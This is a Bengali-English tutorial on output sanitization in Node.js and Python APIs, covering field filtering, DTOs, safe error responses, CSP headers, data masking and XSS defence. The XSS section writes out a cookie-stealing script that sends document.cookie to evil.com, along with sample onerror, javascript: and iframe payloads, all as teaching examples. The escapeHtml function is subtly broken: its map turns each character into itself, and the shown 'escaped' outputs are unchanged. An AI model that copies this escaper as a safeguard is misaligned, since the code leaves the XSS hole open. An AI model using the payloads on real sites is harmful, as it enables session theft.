Output Sanitization (আউটপুট স্যানিটাইজেশন)
Output Sanitization কী?
Output Sanitization হলো server থেকে client-এ data পাঠানোর আগে সেটাকে safe ও clean করা — যাতে sensitive data leak না হয়, malicious content execute না হয়, এবং user শুধু তাই দেখে যা দেখার কথা।
Input Validation → Data ঢোকার সময় check (আগের chapter)
Output Sanitization → Data বের হওয়ার সময় clean
Database → Raw Data → Output Sanitization → Safe Response → ClientInput Validation তোমার app-কে রক্ষা করে। Output Sanitization তোমার user-কে রক্ষা করে।
কেন Output Sanitization দরকার?
সমস্যা ১ — Sensitive Data Leak
// ❌ Database-এর পুরো user object পাঠিয়ে দিচ্ছি
app.get('/api/users/:id', async (req, res) => {
const user = await User.findById(req.params.id);
res.json(user);
});
// Response-এ যা যাচ্ছে:
{
"id": "u_789",
"name": "Ripon",
"email": "ripon@example.com",
"password": "$2b$10$hashedpassword...", // 😱 Password hash!
"role": "admin", // 😱 Internal role!
"resetToken": "abc123secret", // 😱 Reset token!
"loginAttempts": 3, // 😱 Internal data!
"__v": 0, // 😱 Mongoose version!
"createdAt": "2026-01-01T00:00:00Z"
}সমস্যা ২ — XSS (Cross-Site Scripting)
// User profile-এ নাম রাখলো:
// <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
// ❌ Sanitize না করে HTML-এ render করলে:
<h1>
Welcome,{" "}
<script>
document.location='https://evil.com/steal?cookie='+document.cookie
</script>
</h1>
// → Browser script execute করবে → Cookie চুরি!সমস্যা ৩ — Information Disclosure
// ❌ Error-এ internal details পাঠানো
{
"error": "SequelizeDatabaseError: relation \"users\" does not exist",
"stack": "at Query.run (/app/node_modules/sequelize/lib/...",
"database": "postgresql://admin:password123@db.internal:5432/myapp"
}
// → Attacker database type, credentials, internal path জেনে গেলো!Response Field Filtering
সমস্যা: Database Object সরাসরি পাঠানো
// Mongoose schema
const userSchema = new Schema({
name: String,
email: String,
password: String, // ❌ এটা response-এ যাওয়া উচিত না
resetToken: String, // ❌
role: String, // ⚠️ Context-dependent
loginAttempts: Number, // ❌
isDeleted: Boolean, // ❌
internalNotes: String, // ❌
});সমাধান ১ — Manual Field Selection
app.get("/api/users/:id", async (req, res) => {
const user = await User.findById(req.params.id);
if (!user) return res.status(404).json({ error: "Not found" });
res.json({
id: user._id,
name: user.name,
email: user.email,
createdAt: user.createdAt,
});
});সমাধান ২ — Query Projection (Database Level)
// MongoDB — শুধু দরকারি fields আনো
const user = await User.findById(id).select("name email createdAt");
// বা exclude করো
const user = await User.findById(id).select("-password -resetToken -__v");
// Prisma
const user = await prisma.user.findUnique({
where: { id },
select: { id: true, name: true, email: true, createdAt: true },
});
// Sequelize
const user = await User.findByPk(id, {
attributes: ["id", "name", "email", "createdAt"],
});সমাধান ৩ — toJSON Transform (Schema Level)
// Mongoose — schema-তে একবার configure করো, সব query-তে কাজ করবে
const userSchema = new Schema({
name: String,
email: String,
password: String,
resetToken: String,
});
userSchema.set("toJSON", {
transform: (doc, ret) => {
ret.id = ret._id;
delete ret._id;
delete ret.__v;
delete ret.password;
delete ret.resetToken;
delete ret.loginAttempts;
return ret;
},
});
// এখন res.json(user) করলে automatically safeসমাধান ৪ — DTO (Data Transfer Object) Pattern
class UserDTO {
constructor(user) {
this.id = user._id || user.id;
this.name = user.name;
this.email = user.email;
this.createdAt = user.createdAt;
}
static from(user) {
return new UserDTO(user);
}
static fromMany(users) {
return users.map((u) => new UserDTO(u));
}
}
// Usage
app.get("/api/users/:id", async (req, res) => {
const user = await User.findById(req.params.id);
res.json(UserDTO.from(user));
});
app.get("/api/users", async (req, res) => {
const users = await User.find();
res.json(UserDTO.fromMany(users));
});সমাধান ৫ — Role-Based Field Filtering
class UserDTO {
static publicFields(user) {
return {
id: user._id,
name: user.name,
};
}
static privateFields(user) {
return {
id: user._id,
name: user.name,
email: user.email,
createdAt: user.createdAt,
};
}
static adminFields(user) {
return {
id: user._id,
name: user.name,
email: user.email,
role: user.role,
isActive: user.isActive,
loginAttempts: user.loginAttempts,
createdAt: user.createdAt,
updatedAt: user.updatedAt,
};
}
}
app.get("/api/users/:id", authenticate, async (req, res) => {
const user = await User.findById(req.params.id);
if (req.user.role === "admin") {
return res.json(UserDTO.adminFields(user));
}
if (req.user.id === user.id) {
return res.json(UserDTO.privateFields(user));
}
return res.json(UserDTO.publicFields(user));
});XSS Prevention (Output Encoding)
XSS কীভাবে কাজ করে?
1. Attacker malicious script inject করে (input হিসেবে)
2. Server সেটা database-এ save করে
3. অন্য user যখন page visit করে, server সেই data render করে
4. Browser script execute করে → Cookie চুরি, redirect, keyloggingXSS Types:
─────────────────────────────────────────────
Stored XSS → Database-এ save → অন্য user-এ execute
Reflected XSS → URL parameter-এ inject → একই request-এ execute
DOM-based XSS → Client-side JavaScript-এ injectHTML Entity Encoding
function escapeHtml(str) {
const map = {
"&": "&",
"<": "<",
">": ">",
'"': """,
"'": "'",
"/": "/",
};
return str.replace(/[&<>"'/]/g, (char) => map[char]);
}
// Input: <script>alert('xss')</script>
// Output: <script>alert('xss')</script>
// Browser-এ দেখাবে: <script>alert('xss')</script> (text হিসেবে, execute হবে না)Context-Specific Encoding
Output Context Encoding Method উদাহরণ
──────────────────────────────────────────────────────────────
HTML Body HTML Entity Encode <script>
HTML Attribute Attribute Encode "onload=...
JavaScript String JS Escape \x3Cscript\x3E
URL Parameter URL Encode (encodeURI) %3Cscript%3E
CSS Value CSS Escape \3C script\3E
JSON JSON.stringify() (auto-escaped)// HTML context
const safeName = escapeHtml(user.name);
const html = `<h1>Welcome, ${safeName}</h1>`;
// URL context
const safeQuery = encodeURIComponent(user.searchTerm);
const url = `https://example.com/search?q=${safeQuery}`;
// JavaScript context
const safeData = JSON.stringify(user.name);
const script = `<script>var name = ${safeData};</script>`;
// HTML Attribute context
const safeAttr = escapeHtml(user.bio);
const tag = `<div data-bio="${safeAttr}">`;sanitize-html Library
User-generated rich text (blog post, comment) allow করতে চাইলে:
npm install sanitize-htmlconst sanitizeHtml = require("sanitize-html");
const userContent = `
<h1>My Blog Post</h1>
<p>This is <strong>great</strong>!</p>
<script>alert('xss')</script>
<img src=x onerror="alert('xss')">
<a href="javascript:alert('xss')">Click me</a>
<iframe src="https://evil.com"></iframe>
`;
const clean = sanitizeHtml(userContent, {
allowedTags: [
"h1",
"h2",
"h3",
"p",
"b",
"i",
"em",
"strong",
"a",
"ul",
"ol",
"li",
"br",
],
allowedAttributes: {
a: ["href"],
},
allowedSchemes: ["http", "https"], // javascript: scheme block
disallowedTagsMode: "discard",
});
// Output:
// <h1>My Blog Post</h1>
// <p>This is <strong>great</strong>!</p>
//
//
// <a>Click me</a>
//
// → script, iframe, onerror, javascript: সব removed!DOMPurify (Client-Side)
import DOMPurify from "dompurify";
const dirty = '<p>Hello</p><script>alert("xss")</script>';
const clean = DOMPurify.sanitize(dirty);
// Output: <p>Hello</p>
// React-এ:
function Comment({ content }) {
const clean = DOMPurify.sanitize(content);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}Error Response Sanitization
❌ Internal Details Expose করা
app.use((err, req, res, next) => {
res.status(500).json({
error: err.message,
stack: err.stack, // 😱 Internal file paths!
query: err.sql, // 😱 SQL query!
database: process.env.DATABASE_URL, // 😱 Credentials!
});
});✅ Safe Error Response
app.use((err, req, res, next) => {
// Internal log — সব detail রাখো
logger.error({
message: err.message,
stack: err.stack,
sql: err.sql,
requestId: req.id,
userId: req.user?.id,
});
// Client response — generic message
if (err.isOperational) {
return res.status(err.statusCode).json({
status: "error",
error: {
code: err.errorCode,
message: err.message,
},
});
}
// Programming error — NEVER expose details
res.status(500).json({
status: "error",
error: {
code: "INTERNAL_ERROR",
message: "Something went wrong. Please try again.",
},
});
});Development vs Production
function errorHandler(err, req, res, next) {
const response = {
status: "error",
error: {
code: err.errorCode || "INTERNAL_ERROR",
message: err.isOperational ? err.message : "Something went wrong",
},
};
// Development-এ extra details দেখাও (debugging-এ সুবিধা)
if (process.env.NODE_ENV === "development") {
response.error.stack = err.stack;
response.error.details = err.details;
}
res.status(err.statusCode || 500).json(response);
}Response Headers Sanitization
Security Headers
const helmet = require("helmet");
app.use(helmet());
// helmet যা করে:
// X-Content-Type-Options: nosniff → MIME type sniffing বন্ধ
// X-Frame-Options: DENY → Clickjacking prevention
// X-XSS-Protection: 0 → Browser XSS filter (deprecated but safe)
// Content-Security-Policy → Script source control
// Strict-Transport-Security → Force HTTPS
// Referrer-Policy: no-referrer → Referrer leak বন্ধContent-Security-Policy (CSP)
XSS prevention-এর সবচেয়ে powerful header:
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // শুধু নিজের domain-এর script
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https://cdn.example.com"],
connectSrc: ["'self'", "https://api.example.com"],
fontSrc: ["'self'", "https://fonts.googleapis.com"],
objectSrc: ["'none'"], // Flash/plugins block
frameAncestors: ["'none'"], // iframe-এ embed block
upgradeInsecureRequests: [],
},
}),
);CSP কীভাবে XSS রোধ করে:
──────────────────────────────────────
scriptSrc: ["'self'"]
মানে শুধু তোমার domain-এর script চলবে।
Attacker inject করলেও inline <script> execute হবে না!
Browser console-এ দেখবে:
"Refused to execute inline script because it violates
the Content Security Policy directive: script-src 'self'"Sensitive Data Masking in Responses
API Response-এ Masking
function maskEmail(email) {
const [name, domain] = email.split("@");
return `${name[0]}${"*".repeat(name.length - 1)}@${domain}`;
}
function maskPhone(phone) {
return phone.slice(0, 3) + "****" + phone.slice(-2);
}
function maskCard(card) {
return "**** **** **** " + card.slice(-4);
}
// Usage in API response
app.get("/api/account", authenticate, async (req, res) => {
const user = await User.findById(req.user.id);
const card = await PaymentMethod.findOne({ userId: user.id });
res.json({
name: user.name,
email: maskEmail(user.email), // r****@example.com
phone: maskPhone(user.phone), // 017****89
card: card ? maskCard(card.number) : null, // **** **** **** 1234
});
});Conditional Masking
function sanitizeUser(user, viewer) {
const base = {
id: user.id,
name: user.name,
avatar: user.avatar,
};
// নিজের profile দেখলে full data
if (viewer.id === user.id) {
return {
...base,
email: user.email,
phone: user.phone,
address: user.address,
};
}
// অন্যের profile দেখলে masked
return {
...base,
email: maskEmail(user.email),
phone: user.phone ? maskPhone(user.phone) : null,
};
}JSON Response Sanitization
Unwanted Fields Strip করা
function sanitizeResponse(data, allowedFields) {
if (Array.isArray(data)) {
return data.map((item) => sanitizeResponse(item, allowedFields));
}
if (data && typeof data === "object") {
const sanitized = {};
for (const field of allowedFields) {
if (field in data) {
sanitized[field] = data[field];
}
}
return sanitized;
}
return data;
}
// Usage
const allowedUserFields = ["id", "name", "email", "createdAt"];
app.get("/api/users", async (req, res) => {
const users = await User.find();
res.json(sanitizeResponse(users, allowedUserFields));
});Deep Sanitization (Nested Objects)
function deepSanitize(obj, blocklist = []) {
if (obj === null || typeof obj !== "object") return obj;
if (Array.isArray(obj))
return obj.map((item) => deepSanitize(item, blocklist));
const result = {};
for (const [key, value] of Object.entries(obj)) {
if (blocklist.includes(key)) continue;
result[key] = deepSanitize(value, blocklist);
}
return result;
}
const BLOCKLIST = ["password", "resetToken", "__v", "internalNotes", "salt"];
app.get("/api/data", async (req, res) => {
const data = await getData();
res.json(deepSanitize(data, BLOCKLIST));
});Python — Output Sanitization
Pydantic Response Model
from pydantic import BaseModel, EmailStr
from typing import Optional
from datetime import datetime
class UserResponse(BaseModel):
id: str
name: str
email: EmailStr
created_at: datetime
class Config:
from_attributes = True # ORM object থেকে auto-convert
class UserPublicResponse(BaseModel):
id: str
name: str
@app.get("/api/users/{user_id}", response_model=UserResponse)
async def get_user(user_id: str):
user = await db.get_user(user_id)
return user
# FastAPI automatically UserResponse-এ নেই এমন field (password, role) বাদ দেয়!Jinja2 Template Auto-Escaping
from markupsafe import escape
name = "<script>alert('xss')</script>"
safe_name = escape(name)
# Output: <script>alert('xss')</script>
# Jinja2 by default auto-escape করে:
# {{ user.name }} → auto-escaped
# {{ user.name | safe }} → ⚠️ raw output (careful!)Framework-Specific Auto-Escaping
Framework Auto-Escape? Raw Output (dangerous)
──────────────────────────────────────────────────────────
React (JSX) ✅ Yes dangerouslySetInnerHTML
Vue.js ✅ {{ }} v-html
Angular ✅ {{ }} [innerHTML] (sanitized)
Django/Jinja2 ✅ {{ }} {{ var | safe }}
EJS ❌ <%= %> <%- %> (unescaped)
Handlebars ✅ {{ }} {{{ }}} (triple = raw)
Pug ✅ #{var} !{var} (raw)✅ সবসময় auto-escaped version ব্যবহার করো
❌ Raw/unsafe output শুধু তখনই যখন content 100% trusted ও sanitizedOutput Sanitization Checklist
Response Body:
✅ Database object সরাসরি return করো না — DTO/projection ব্যবহার করো
✅ password, token, internal fields strip করো
✅ Role-based field filtering — viewer অনুযায়ী data দাও
✅ Sensitive data mask করো (email, phone, card)
✅ User-generated content HTML escape/sanitize করো
Error Responses:
✅ Stack trace production-এ পাঠাবে না
✅ Database query/connection details পাঠাবে না
✅ Internal file paths পাঠাবে না
✅ Generic message দাও, details শুধু log-এ
Headers:
✅ helmet() ব্যবহার করো
✅ Content-Security-Policy configure করো
✅ Server/X-Powered-By header remove করো
✅ CORS properly configure করো
Templates:
✅ Auto-escaping enable আছে কিনা check করো
✅ Raw/unsafe output avoid করো
✅ User input-কে trust করো না — always escapeInput Validation vs Output Sanitization — সম্পূর্ণ Flow
Request (User Input)
│
▼
┌──────────────────┐
│ Input Validation │ → Type, format, range check
│ (Joi/Zod/Pydantic)│ → Reject invalid data (400)
└────────┬─────────┘
│ (valid data)
▼
┌──────────────────┐
│ Input Sanitize │ → trim, lowercase, escape
│ │ → Parameterized queries
└────────┬─────────┘
│ (clean data)
▼
┌──────────────────┐
│ Business Logic │ → Process, calculate, save
│ + Database │
└────────┬─────────┘
│ (raw result)
▼
┌──────────────────┐
│ Output Sanitize │ → Strip sensitive fields (password, token)
│ (DTO / Filter) │ → Mask PII (email, phone, card)
│ │ → HTML encode user content
│ │ → Safe error messages
└────────┬─────────┘
│ (safe response)
▼
Response to Clientসংক্ষেপে মনে রাখার সূত্র
Output Sanitization = Response পাঠানোর আগে data safe করা
3 মূল কাজ:
1. Field Filtering → sensitive fields বাদ দাও (password, token)
2. Content Encoding → XSS prevention (HTML escape)
3. Error Masking → internal details লুকাও
Field Filtering Methods:
Query Projection → .select('name email')
toJSON Transform → Schema-level auto-strip
DTO Pattern → Explicit field mapping
Role-Based → viewer অনুযায়ী different fields
XSS Prevention:
HTML Entity Encoding → < becomes <
sanitize-html → Rich text-এ allowed tags only
CSP Header → Browser-level script control
Framework auto-escape → React/Vue/Angular default safe
Error Response:
Production → Generic message only
Development → Stack trace + details
Log-এ → সব detail রাখো
Golden Rule:
Input Validation → তোমার APP রক্ষা করে
Output Sanitization → তোমার USER রক্ষা করেInterview Golden Lines
Input Validation protects your application. Output Sanitization protects your users.
Never return database objects directly — use DTOs or projections to strip sensitive fields like passwords and tokens.
Context-specific encoding is crucial: HTML body needs entity encoding, URLs need percent encoding, JavaScript needs JS escaping.
Content-Security-Policy is the most powerful defense against XSS — it tells the browser which scripts are allowed to execute.
Production error responses should never include stack traces, SQL queries, or internal paths — log them server-side, send generic messages to clients.